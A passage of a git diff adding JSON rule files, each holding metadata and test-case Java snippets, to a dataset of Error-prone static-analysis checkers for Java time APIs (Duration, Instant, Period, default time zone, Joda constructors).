"expected-linenumbers": [ + 381 + ], + "code": "package test;\n\n import java.time.Duration;\n\n public class TestCase {\n private static final Duration DURATION = Duration.ZERO;\n\n public static void foo() {\n // BUG: Diagnostic contains: JavaDurationGetSecondsGetNano\n Runnable r = () -> DURATION.getNano();\n long seconds = DURATION.getSeconds();\n }\n }" + }, + { + "description": "bothUsedWithinALambda", + "expected-problems": null, + "expected-linenumbers": [ + 404 + ], + "code": "package test;\n\nimport com.google.common.collect.ImmutableMap;\nimport java.time.Duration;\nimport java.util.function.Supplier;\n\npublic class TestCase {\n public static Supplier> foo(Duration duration) {\n return () -> ImmutableMap.of(\"seconds\", duration.getSeconds(), \"nanos\", duration.getNano());\n }\n}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JavaDurationGetSecondsToToSeconds.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JavaDurationGetSecondsToToSeconds.json new file mode 100644 index 0000000..132f407 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JavaDurationGetSecondsToToSeconds.json @@ -0,0 +1,30 @@ +{ + "name": "JavaDurationGetSecondsToToSeconds", + "language": "java", + "description": "Prefer duration.toSeconds() over duration.getSeconds()", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 56, + "branches": 4, + "apis": 1, + "test": [ + { + "description": "testNegative", + "expected-problems": null, + "expected-linenumbers": [ + 35 + ], + "code": "package test;\n\n import java.time.Duration;\n\n public class TestCase {\n public static void foo(Duration duration) {\n long seconds = duration.getSeconds();\n int nanos = duration.getNano();\n }\n }" + }, + { + "description": "testPositive", + "expected-problems": null, + "expected-linenumbers": [ + 55 + ], + "code": "package test;\n\n import java.time.Duration;\n\n public class TestCase {\n public static void foo(Duration duration) {\n long seconds = duration.getSeconds();\n }\n }\n \n\n package test;\n\n import java.time.Duration;\n\n public class TestCase {\n public static void foo(Duration duration) {\n long seconds = duration.toSeconds();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JavaDurationWithNanos.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JavaDurationWithNanos.json new file mode 100644 index 0000000..d3d9d0b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JavaDurationWithNanos.json @@ -0,0 +1,38 @@ +{ + "name": "JavaDurationWithNanos", + "language": "java", + "description": "Use of java.time.Duration.withNanos(int) is not allowed.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 68, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "durationWithNanos", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "import java.time.Duration;\n\n public class TestClass {\n // BUG: Diagnostic contains: Duration.ofSeconds(Duration.ZERO.getSeconds(), 42);\n private static final Duration DURATION = Duration.ZERO.withNanos(42);\n }" + }, + { + "description": "durationWithNanosNamedVariable", + "expected-problems": null, + "expected-linenumbers": [ + 45 + ], + "code": "import java.time.Duration;\n\n public class TestClass {\n private static final Duration DURATION1 = Duration.ZERO;\n // BUG: Diagnostic contains: Duration.ofSeconds(DURATION1.getSeconds(), 44);\n private static final Duration DURATION2 = DURATION1.withNanos(44);\n }" + }, + { + "description": "durationWithNanosPrimitiveImportClash", + "expected-problems": null, + "expected-linenumbers": [ + 62 + ], + "code": "import org.joda.time.Duration;\n\n public class TestClass {\n private static final java.time.Duration DURATION =\n // BUG: Diagnostic contains:\n // java.time.Duration.ofSeconds(java.time.Duration.ZERO.getSeconds(), 42);\n java.time.Duration.ZERO.withNanos(42);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JavaDurationWithSeconds.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JavaDurationWithSeconds.json new file mode 100644 index 0000000..3022c4f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JavaDurationWithSeconds.json @@ -0,0 +1,38 @@ +{ + "name": "JavaDurationWithSeconds", + "language": "java", + "description": "Use of java.time.Duration.withSeconds(long) is not allowed.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 67, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "durationWithSeconds", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "import java.time.Duration;\n\n public class TestClass {\n // BUG: Diagnostic contains: Duration.ofSeconds(42, Duration.ZERO.getNano());\n private static final Duration DURATION = Duration.ZERO.withSeconds(42);\n }" + }, + { + "description": "durationWithSecondsNamedVariable", + "expected-problems": null, + "expected-linenumbers": [ + 45 + ], + "code": "import java.time.Duration;\n\n public class TestClass {\n private static final Duration DURATION1 = Duration.ZERO;\n // BUG: Diagnostic contains: Duration.ofSeconds(44, DURATION1.getNano());\n private static final Duration DURATION2 = DURATION1.withSeconds(44);\n }" + }, + { + "description": "durationWithSecondsPrimitiveImportClash", + "expected-problems": null, + "expected-linenumbers": [ + 62 + ], + "code": "import org.joda.time.Duration;\n\n public class TestClass {\n private static final java.time.Duration DURATION =\n // BUG: Diagnostic contains: java.time.Duration.ofSeconds(42,\n // java.time.Duration.ZERO.getNano());\n java.time.Duration.ZERO.withSeconds(42);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JavaInstantGetSecondsGetNano.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JavaInstantGetSecondsGetNano.json new file mode 100644 index 0000000..0ec5011 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JavaInstantGetSecondsGetNano.json @@ -0,0 +1,150 @@ +{ + "name": "JavaInstantGetSecondsGetNano", + "language": "java", + "description": "instant.getNano() only accesses the underlying nanosecond adjustment from the whole second.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 63, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "getSecondsWithGetNanos", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "package test;\n\n import java.time.Instant;\n\n public class TestCase {\n public static void foo(Instant instant) {\n long seconds = instant.getEpochSecond();\n int nanos = instant.getNano();\n }\n }" + }, + { + "description": "getSecondsWithGetNanosInReturnType", + "expected-problems": null, + "expected-linenumbers": [ + 54 + ], + "code": "package test;\n\n import com.google.common.collect.ImmutableMap;\n import java.time.Instant;\n\n public class TestCase {\n public static int foo(Instant instant) {\n // BUG: Diagnostic contains: JavaInstantGetSecondsGetNano\n return instant.getNano();\n }\n }" + }, + { + "description": "getSecondsWithGetNanosInReturnType2", + "expected-problems": null, + "expected-linenumbers": [ + 75 + ], + "code": "package test;\n\nimport com.google.common.collect.ImmutableMap;\nimport java.time.Instant;\n\npublic class TestCase {\n public static ImmutableMap foo(Instant instant) {\n return ImmutableMap.of(\"seconds\", instant.getEpochSecond(), \"nanos\", instant.getNano());\n }\n}" + }, + { + "description": "getSecondsWithGetNanosDifferentScope", + "expected-problems": null, + "expected-linenumbers": [ + 95 + ], + "code": "package test;\n\n import java.time.Instant;\n\n public class TestCase {\n public static void foo(Instant instant) {\n long seconds = instant.getEpochSecond();\n if (true) {\n // BUG: Diagnostic contains: JavaInstantGetSecondsGetNano\n int nanos = instant.getNano();\n }\n }\n }" + }, + { + "description": "getSecondsWithGetNanosInDifferentMethods", + "expected-problems": null, + "expected-linenumbers": [ + 119 + ], + "code": "package test;\n\n import java.time.Instant;\n\n public class TestCase {\n public static void foo(Instant instant) {\n long seconds = instant.getEpochSecond();\n }\n\n public static void bar(Instant instant) {\n // BUG: Diagnostic contains: JavaInstantGetSecondsGetNano\n int nanos = instant.getNano();\n }\n }" + }, + { + "description": "getSecondsOnly", + "expected-problems": null, + "expected-linenumbers": [ + 143 + ], + "code": "package test;\n\n import java.time.Instant;\n\n public class TestCase {\n public static void foo(Instant instant) {\n long seconds = instant.getEpochSecond();\n }\n }" + }, + { + "description": "getNanoOnly", + "expected-problems": null, + "expected-linenumbers": [ + 162 + ], + "code": "package test;\n\n import java.time.Instant;\n\n public class TestCase {\n public static void foo(Instant instant) {\n // BUG: Diagnostic contains: JavaInstantGetSecondsGetNano\n int nanos = instant.getNano();\n }\n }" + }, + { + "description": "getNanoInMethodGetSecondsInClassVariable", + "expected-problems": null, + "expected-linenumbers": [ + 182 + ], + "code": "package test;\n\n import java.time.Instant;\n\n public class TestCase {\n private static final Instant INSTANT = Instant.EPOCH;\n private static final long seconds = INSTANT.getEpochSecond();\n\n public static void foo() {\n // BUG: Diagnostic contains: JavaInstantGetSecondsGetNano\n int nanos = INSTANT.getNano();\n }\n }" + }, + { + "description": "getSecondsOnlyInStaticBlock", + "expected-problems": null, + "expected-linenumbers": [ + 205 + ], + "code": "package test;\n\n import java.time.Instant;\n\n public class TestCase {\n static {\n long seconds = Instant.EPOCH.getEpochSecond();\n }\n }" + }, + { + "description": "getNanoOnlyInStaticBlock", + "expected-problems": null, + "expected-linenumbers": [ + 224 + ], + "code": "package test;\n\n import java.time.Instant;\n\n public class TestCase {\n static {\n // BUG: Diagnostic contains: JavaInstantGetSecondsGetNano\n int nanos = Instant.EPOCH.getNano();\n }\n }" + }, + { + "description": "getSecondsOnlyInClassBlock", + "expected-problems": null, + "expected-linenumbers": [ + 244 + ], + "code": "package test;\n\n import java.time.Instant;\n\n public class TestCase {\n private final long seconds = Instant.EPOCH.getEpochSecond();\n private final int nanos = Instant.EPOCH.getNano();\n }" + }, + { + "description": "getNanoOnlyInClassBlock", + "expected-problems": null, + "expected-linenumbers": [ + 262 + ], + "code": "package test;\n\n import java.time.Instant;\n\n public class TestCase {\n // BUG: Diagnostic contains: JavaInstantGetSecondsGetNano\n private final int nanos = Instant.EPOCH.getNano();\n }" + }, + { + "description": "getNanoInInnerClassGetSecondsInMethod", + "expected-problems": null, + "expected-linenumbers": [ + 280 + ], + "code": "package test;\n\n import java.time.Instant;\n\n public class TestCase {\n private static final Instant INSTANT = Instant.EPOCH;\n\n public static void foo() {\n long seconds = INSTANT.getEpochSecond();\n Object obj =\n new Object() {\n @Override\n public String toString() {\n // BUG: Diagnostic contains: JavaInstantGetSecondsGetNano\n return String.valueOf(INSTANT.getNano());\n }\n };\n }\n }" + }, + { + "description": "getNanoInInnerClassGetSecondsInClassVariable", + "expected-problems": null, + "expected-linenumbers": [ + 309 + ], + "code": "package test;\n\n import java.time.Instant;\n\n public class TestCase {\n Instant INSTANT = Instant.EPOCH;\n long seconds = INSTANT.getEpochSecond();\n Object obj =\n new Object() {\n // BUG: Diagnostic contains: JavaInstantGetSecondsGetNano\n long nanos = INSTANT.getNano();\n };\n }" + }, + { + "description": "getNanoInMethodGetSecondsInLambda", + "expected-problems": null, + "expected-linenumbers": [ + 332 + ], + "code": "package test;\n\n import java.time.Instant;\n\n public class TestCase {\n private static final Instant INSTANT = Instant.EPOCH;\n\n public static void foo() {\n Runnable r = () -> INSTANT.getEpochSecond();\n // BUG: Diagnostic contains: JavaInstantGetSecondsGetNano\n int nanos = INSTANT.getNano();\n }\n }" + }, + { + "description": "getSecondsInLambda", + "expected-problems": null, + "expected-linenumbers": [ + 355 + ], + "code": "package test;\n\n import java.time.Instant;\n import java.util.function.Supplier;\n\n public class TestCase {\n private static final Instant INSTANT = Instant.EPOCH;\n\n public void foo() {\n doSomething(() -> INSTANT.getEpochSecond());\n // BUG: Diagnostic contains: JavaInstantGetSecondsGetNano\n int nanos = INSTANT.getNano();\n }\n\n public void doSomething(Supplier supplier) {}\n }" + }, + { + "description": "getNanoInLambda", + "expected-problems": null, + "expected-linenumbers": [ + 381 + ], + "code": "package test;\n\n import java.time.Instant;\n\n public class TestCase {\n private static final Instant INSTANT = Instant.EPOCH;\n\n public static void foo() {\n // BUG: Diagnostic contains: JavaInstantGetSecondsGetNano\n Runnable r = () -> INSTANT.getNano();\n long seconds = INSTANT.getEpochSecond();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JavaLocalDateTimeGetNano.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JavaLocalDateTimeGetNano.json new file mode 100644 index 0000000..6a1444c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JavaLocalDateTimeGetNano.json @@ -0,0 +1,30 @@ +{ + "name": "JavaLocalDateTimeGetNano", + "language": "java", + "description": "localDateTime.getNano() only access the nanos-of-second field. It's rare to only use getNano() without a nearby getSecond() call.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 59, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "getSecondWithGetNano", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "package test;\n\n import java.time.LocalDateTime;\n\n public class Test {\n public static void foo(LocalDateTime localDateTime) {\n long seconds = localDateTime.getSecond();\n int nanos = localDateTime.getNano();\n }\n }" + }, + { + "description": "getNanoWithNoGetSeconds", + "expected-problems": null, + "expected-linenumbers": [ + 49 + ], + "code": "import java.time.LocalDateTime;\n\n public class Test {\n public static int foo(LocalDateTime localDateTime) {\n // BUG: Diagnostic contains:\n return localDateTime.getNano();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JavaLocalTimeGetNano.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JavaLocalTimeGetNano.json new file mode 100644 index 0000000..77f1b7e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JavaLocalTimeGetNano.json @@ -0,0 +1,30 @@ +{ + "name": "JavaLocalTimeGetNano", + "language": "java", + "description": "localTime.getNano() only accesses the nanos-of-second field. It's rare to only use getNano() without a nearby getSecond() call.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 58, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "getSecondWithGetNano", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "package test;\n\n import java.time.LocalTime;\n\n public class Test {\n public static void foo(LocalTime localTime) {\n long seconds = localTime.getSecond();\n int nanos = localTime.getNano();\n }\n }" + }, + { + "description": "getNanoWithNoGetSeconds", + "expected-problems": null, + "expected-linenumbers": [ + 49 + ], + "code": "import java.time.LocalTime;\n\n public class Test {\n public static int foo(LocalTime localTime) {\n // BUG: Diagnostic contains:\n return localTime.getNano();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JavaPeriodGetDays.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JavaPeriodGetDays.json new file mode 100644 index 0000000..8fa8fa9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JavaPeriodGetDays.json @@ -0,0 +1,150 @@ +{ + "name": "JavaPeriodGetDays", + "language": "java", + "description": "period.getDays() only accesses the \\", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 61, + "branches": 4, + "apis": 1, + "test": [ + { + "description": "getBoth", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "package test;\n\n import java.time.Period;\n\n public class TestCase {\n public static void foo(Period period) {\n int days = period.getDays();\n int months = period.getMonths();\n }\n }" + }, + { + "description": "getDaysInReturn", + "expected-problems": null, + "expected-linenumbers": [ + 54 + ], + "code": "package test;\n\n import java.time.Period;\n\n public class TestCase {\n public static int foo(Period period) {\n // BUG: Diagnostic contains: JavaPeriodGetDays\n return period.getDays();\n }\n }" + }, + { + "description": "getDaysInReturnWithConsultingMonths", + "expected-problems": null, + "expected-linenumbers": [ + 74 + ], + "code": "package test;\n\n import com.google.common.collect.ImmutableMap;\n import java.time.Period;\n\n public class TestCase {\n public static ImmutableMap foo(Period period) {\n return ImmutableMap.of(\"months\", period.getMonths(), \"days\", period.getDays());\n }\n }" + }, + { + "description": "getDaysWithMonthsInDifferentScope", + "expected-problems": null, + "expected-linenumbers": [ + 94 + ], + "code": "package test;\n\n import java.time.Period;\n\n public class TestCase {\n public static void foo(Period period) {\n long months = period.getMonths();\n if (true) {\n // BUG: Diagnostic contains: JavaPeriodGetDays\n int days = period.getDays();\n }\n }\n }" + }, + { + "description": "getDaysAndGetMonthsInDifferentMethods", + "expected-problems": null, + "expected-linenumbers": [ + 118 + ], + "code": "package test;\n\n import java.time.Period;\n\n public class TestCase {\n public static void foo(Period period) {\n long months = period.getMonths();\n }\n\n public static void bar(Period period) {\n // BUG: Diagnostic contains: JavaPeriodGetDays\n int days = period.getDays();\n }\n }" + }, + { + "description": "getMonths", + "expected-problems": null, + "expected-linenumbers": [ + 142 + ], + "code": "package test;\n\n import java.time.Period;\n\n public class TestCase {\n public static void foo(Period period) {\n long months = period.getMonths();\n }\n }" + }, + { + "description": "getDaysOnly", + "expected-problems": null, + "expected-linenumbers": [ + 161 + ], + "code": "package test;\n\n import java.time.Period;\n\n public class TestCase {\n public static void foo(Period period) {\n // BUG: Diagnostic contains: JavaPeriodGetDays\n int days = period.getDays();\n }\n }" + }, + { + "description": "getMonthsInVariableDetachedFromDays", + "expected-problems": null, + "expected-linenumbers": [ + 181 + ], + "code": "package test;\n\n import java.time.Period;\n\n public class TestCase {\n private static final Period PERIOD = Period.ZERO;\n private static final long months = PERIOD.getMonths();\n\n public static void foo() {\n // BUG: Diagnostic contains: JavaPeriodGetDays\n int days = PERIOD.getDays();\n }\n }" + }, + { + "description": "getMonthsInStaticBlock", + "expected-problems": null, + "expected-linenumbers": [ + 204 + ], + "code": "package test;\n\n import java.time.Period;\n\n public class TestCase {\n static {\n long months = Period.ZERO.getMonths();\n }\n }" + }, + { + "description": "getDaysInStaticBlock", + "expected-problems": null, + "expected-linenumbers": [ + 223 + ], + "code": "package test;\n\n import java.time.Period;\n\n public class TestCase {\n static {\n // BUG: Diagnostic contains: JavaPeriodGetDays\n int days = Period.ZERO.getDays();\n }\n }" + }, + { + "description": "getDaysAndMonthsInParallelInitializers", + "expected-problems": null, + "expected-linenumbers": [ + 243 + ], + "code": "package test;\n\n import java.time.Period;\n\n public class TestCase {\n private final long months = Period.ZERO.getMonths();\n private final int days = Period.ZERO.getDays();\n }" + }, + { + "description": "getDaysInFieldInitializer", + "expected-problems": null, + "expected-linenumbers": [ + 261 + ], + "code": "package test;\n\n import java.time.Period;\n\n public class TestCase {\n // BUG: Diagnostic contains: JavaPeriodGetDays\n private final int days = Period.ZERO.getDays();\n }" + }, + { + "description": "getDaysInInnerClass", + "expected-problems": null, + "expected-linenumbers": [ + 279 + ], + "code": "package test;\n\n import java.time.Period;\n\n public class TestCase {\n private static final Period PERIOD = Period.ZERO;\n\n public static void foo() {\n long months = PERIOD.getMonths();\n Object obj =\n new Object() {\n @Override\n public String toString() {\n // BUG: Diagnostic contains: JavaPeriodGetDays\n return String.valueOf(PERIOD.getDays());\n }\n };\n }\n }" + }, + { + "description": "getDaysInInnerClassField", + "expected-problems": null, + "expected-linenumbers": [ + 308 + ], + "code": "package test;\n\n import java.time.Period;\n\n public class TestCase {\n Period PERIOD = Period.ZERO;\n long months = PERIOD.getMonths();\n Object obj =\n new Object() {\n // BUG: Diagnostic contains: JavaPeriodGetDays\n long days = PERIOD.getDays();\n };\n }" + }, + { + "description": "getDaysWithMonthInLambdaContext", + "expected-problems": null, + "expected-linenumbers": [ + 331 + ], + "code": "package test;\n\n import java.time.Period;\n\n public class TestCase {\n private static final Period PERIOD = Period.ZERO;\n\n public static void foo() {\n Runnable r = () -> PERIOD.getMonths();\n // BUG: Diagnostic contains: JavaPeriodGetDays\n int days = PERIOD.getDays();\n }\n }" + }, + { + "description": "getDaysWithMonthInMethodArgumentLambda", + "expected-problems": null, + "expected-linenumbers": [ + 354 + ], + "code": "package test;\n\n import java.time.Period;\n import java.util.function.Supplier;\n\n public class TestCase {\n private static final Period PERIOD = Period.ZERO;\n\n public void foo() {\n doSomething(() -> PERIOD.getMonths());\n // BUG: Diagnostic contains: JavaPeriodGetDays\n int days = PERIOD.getDays();\n }\n\n public void doSomething(Supplier supplier) {}\n }" + }, + { + "description": "getDaysInLambdaWithMonthOutside", + "expected-problems": null, + "expected-linenumbers": [ + 380 + ], + "code": "package test;\n\n import java.time.Period;\n\n public class TestCase {\n private static final Period PERIOD = Period.ZERO;\n\n public static void foo() {\n // BUG: Diagnostic contains: JavaPeriodGetDays\n Runnable r = () -> PERIOD.getDays();\n long months = PERIOD.getMonths();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JavaTimeDefaultTimeZone.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JavaTimeDefaultTimeZone.json new file mode 100644 index 0000000..5d4ff88 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JavaTimeDefaultTimeZone.json @@ -0,0 +1,182 @@ +{ + "name": "JavaTimeDefaultTimeZone", + "language": "java", + "description": "java.time APIs that silently use the default system time-zone are not allowed.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 123, + "branches": 13, + "apis": 1, + "test": [ + { + "description": "clock", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import static java.time.ZoneId.systemDefault;\n import java.time.Clock;\n\n public class TestClass {\n // BUG: Diagnostic matches: REPLACEME\n Clock clock = Clock.systemDefaultZone();\n Clock clockWithZone = Clock.system(systemDefault());\n }" + }, + { + "description": "staticImportOfStaticMethod", + "expected-problems": null, + "expected-linenumbers": [ + 49 + ], + "code": "import static java.time.LocalDate.now;\n\n import java.time.LocalDate;\n\n public class TestClass {\n LocalDate date = now();\n }" + }, + { + "description": "localDate", + "expected-problems": null, + "expected-linenumbers": [ + 75 + ], + "code": "import static java.time.ZoneId.systemDefault;\n import java.time.LocalDate;\n\n public class TestClass {\n // BUG: Diagnostic matches: REPLACEME\n LocalDate now = LocalDate.now();\n LocalDate nowWithZone = LocalDate.now(systemDefault());\n }" + }, + { + "description": "localTime", + "expected-problems": null, + "expected-linenumbers": [ + 93 + ], + "code": "import static java.time.ZoneId.systemDefault;\n import java.time.LocalTime;\n\n public class TestClass {\n // BUG: Diagnostic matches: REPLACEME\n LocalTime now = LocalTime.now();\n LocalTime nowWithZone = LocalTime.now(systemDefault());\n }" + }, + { + "description": "localDateTime", + "expected-problems": null, + "expected-linenumbers": [ + 111 + ], + "code": "import static java.time.ZoneId.systemDefault;\n import java.time.LocalDateTime;\n\n public class TestClass {\n // BUG: Diagnostic matches: REPLACEME\n LocalDateTime now = LocalDateTime.now();\n LocalDateTime nowWithZone = LocalDateTime.now(systemDefault());\n }" + }, + { + "description": "monthDay", + "expected-problems": null, + "expected-linenumbers": [ + 129 + ], + "code": "import static java.time.ZoneId.systemDefault;\n import java.time.MonthDay;\n\n public class TestClass {\n // BUG: Diagnostic matches: REPLACEME\n MonthDay now = MonthDay.now();\n MonthDay nowWithZone = MonthDay.now(systemDefault());\n }" + }, + { + "description": "offsetDateTime", + "expected-problems": null, + "expected-linenumbers": [ + 147 + ], + "code": "import static java.time.ZoneId.systemDefault;\n import java.time.OffsetDateTime;\n\n public class TestClass {\n // BUG: Diagnostic matches: REPLACEME\n OffsetDateTime now = OffsetDateTime.now();\n OffsetDateTime nowWithZone = OffsetDateTime.now(systemDefault());\n }" + }, + { + "description": "offsetTime", + "expected-problems": null, + "expected-linenumbers": [ + 165 + ], + "code": "import static java.time.ZoneId.systemDefault;\n import java.time.OffsetTime;\n\n public class TestClass {\n // BUG: Diagnostic matches: REPLACEME\n OffsetTime now = OffsetTime.now();\n OffsetTime nowWithZone = OffsetTime.now(systemDefault());\n }" + }, + { + "description": "year", + "expected-problems": null, + "expected-linenumbers": [ + 183 + ], + "code": "import static java.time.ZoneId.systemDefault;\n import java.time.Year;\n\n public class TestClass {\n // BUG: Diagnostic matches: REPLACEME\n Year now = Year.now();\n Year nowWithZone = Year.now(systemDefault());\n }" + }, + { + "description": "yearMonth", + "expected-problems": null, + "expected-linenumbers": [ + 201 + ], + "code": "import static java.time.ZoneId.systemDefault;\n import java.time.YearMonth;\n\n public class TestClass {\n // BUG: Diagnostic matches: REPLACEME\n YearMonth now = YearMonth.now();\n YearMonth nowWithZone = YearMonth.now(systemDefault());\n }" + }, + { + "description": "zonedDateTime", + "expected-problems": null, + "expected-linenumbers": [ + 219 + ], + "code": "import static java.time.ZoneId.systemDefault;\n import java.time.ZonedDateTime;\n\n public class TestClass {\n // BUG: Diagnostic matches: REPLACEME\n ZonedDateTime now = ZonedDateTime.now();\n ZonedDateTime nowWithZone = ZonedDateTime.now(systemDefault());\n }" + }, + { + "description": "japaneseDate", + "expected-problems": null, + "expected-linenumbers": [ + 237 + ], + "code": "import static java.time.ZoneId.systemDefault;\n import java.time.chrono.JapaneseDate;\n\n public class TestClass {\n // BUG: Diagnostic matches: REPLACEME\n JapaneseDate now = JapaneseDate.now();\n JapaneseDate nowWithZone = JapaneseDate.now(systemDefault());\n }" + }, + { + "description": "minguoDate", + "expected-problems": null, + "expected-linenumbers": [ + 255 + ], + "code": "import static java.time.ZoneId.systemDefault;\n import java.time.chrono.MinguoDate;\n\n public class TestClass {\n // BUG: Diagnostic matches: REPLACEME\n MinguoDate now = MinguoDate.now();\n MinguoDate nowWithZone = MinguoDate.now(systemDefault());\n }" + }, + { + "description": "hijrahDate", + "expected-problems": null, + "expected-linenumbers": [ + 273 + ], + "code": "import static java.time.ZoneId.systemDefault;\n import java.time.chrono.HijrahDate;\n\n public class TestClass {\n // BUG: Diagnostic matches: REPLACEME\n HijrahDate now = HijrahDate.now();\n HijrahDate nowWithZone = HijrahDate.now(systemDefault());\n }" + }, + { + "description": "thaiBuddhistDate", + "expected-problems": null, + "expected-linenumbers": [ + 291 + ], + "code": "import static java.time.ZoneId.systemDefault;\n import java.time.chrono.ThaiBuddhistDate;\n\n public class TestClass {\n // BUG: Diagnostic matches: REPLACEME\n ThaiBuddhistDate now = ThaiBuddhistDate.now();\n ThaiBuddhistDate nowWithZone = ThaiBuddhistDate.now(systemDefault());\n }" + }, + { + "description": "chronology", + "expected-problems": null, + "expected-linenumbers": [ + 309 + ], + "code": "import static java.time.ZoneId.systemDefault;\n import java.time.chrono.Chronology;\n import java.time.chrono.ChronoLocalDate;\n\n public class TestClass {\n // BUG: Diagnostic matches: REPLACEME\n ChronoLocalDate now = Chronology.of(\"ISO\").dateNow();\n ChronoLocalDate nowWithZone = Chronology.of(\"ISO\").dateNow(systemDefault());\n }" + }, + { + "description": "hijrahChronology", + "expected-problems": null, + "expected-linenumbers": [ + 328 + ], + "code": "import static java.time.ZoneId.systemDefault;\n import java.time.chrono.HijrahChronology;\n import java.time.chrono.HijrahDate;\n\n public class TestClass {\n // BUG: Diagnostic matches: REPLACEME\n HijrahDate now = HijrahChronology.INSTANCE.dateNow();\n HijrahDate nowWithZone = HijrahChronology.INSTANCE.dateNow(systemDefault());\n }" + }, + { + "description": "isoChronology", + "expected-problems": null, + "expected-linenumbers": [ + 347 + ], + "code": "import static java.time.ZoneId.systemDefault;\n import java.time.LocalDate;\n import java.time.chrono.IsoChronology;\n\n public class TestClass {\n // BUG: Diagnostic matches: REPLACEME\n LocalDate now = IsoChronology.INSTANCE.dateNow();\n LocalDate nowWithZone = IsoChronology.INSTANCE.dateNow(systemDefault());\n }" + }, + { + "description": "japaneseChronology", + "expected-problems": null, + "expected-linenumbers": [ + 366 + ], + "code": "import static java.time.ZoneId.systemDefault;\n import java.time.chrono.JapaneseChronology;\n import java.time.chrono.JapaneseDate;\n\n public class TestClass {\n // BUG: Diagnostic matches: REPLACEME\n JapaneseDate now = JapaneseChronology.INSTANCE.dateNow();\n JapaneseDate nowWithZone = JapaneseChronology.INSTANCE.dateNow(systemDefault());\n }" + }, + { + "description": "minguoChronology", + "expected-problems": null, + "expected-linenumbers": [ + 385 + ], + "code": "import static java.time.ZoneId.systemDefault;\n import java.time.chrono.MinguoChronology;\n import java.time.chrono.MinguoDate;\n\n public class TestClass {\n // BUG: Diagnostic matches: REPLACEME\n MinguoDate now = MinguoChronology.INSTANCE.dateNow();\n MinguoDate nowWithZone = MinguoChronology.INSTANCE.dateNow(systemDefault());\n }" + }, + { + "description": "thaiBuddhistChronology", + "expected-problems": null, + "expected-linenumbers": [ + 404 + ], + "code": "import static java.time.ZoneId.systemDefault;\nimport java.time.chrono.ThaiBuddhistChronology;\nimport java.time.chrono.ThaiBuddhistDate;\n\npublic class TestClass {\n // BUG: Diagnostic matches: REPLACEME\n ThaiBuddhistDate now = ThaiBuddhistChronology.INSTANCE.dateNow();\n ThaiBuddhistDate nowWithZone = ThaiBuddhistChronology.INSTANCE.dateNow(systemDefault());\n}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JodaConstructors.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JodaConstructors.json new file mode 100644 index 0000000..ab0fea7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JodaConstructors.json @@ -0,0 +1,134 @@ +{ + "name": "JodaConstructors", + "language": "java", + "description": "Use of certain JodaTime constructors are not allowed.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 108, + "branches": 8, + "apis": 13, + "test": [ + { + "description": "durationStaticFactories", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "import org.joda.time.Duration;\n\n public class TestClass {\n 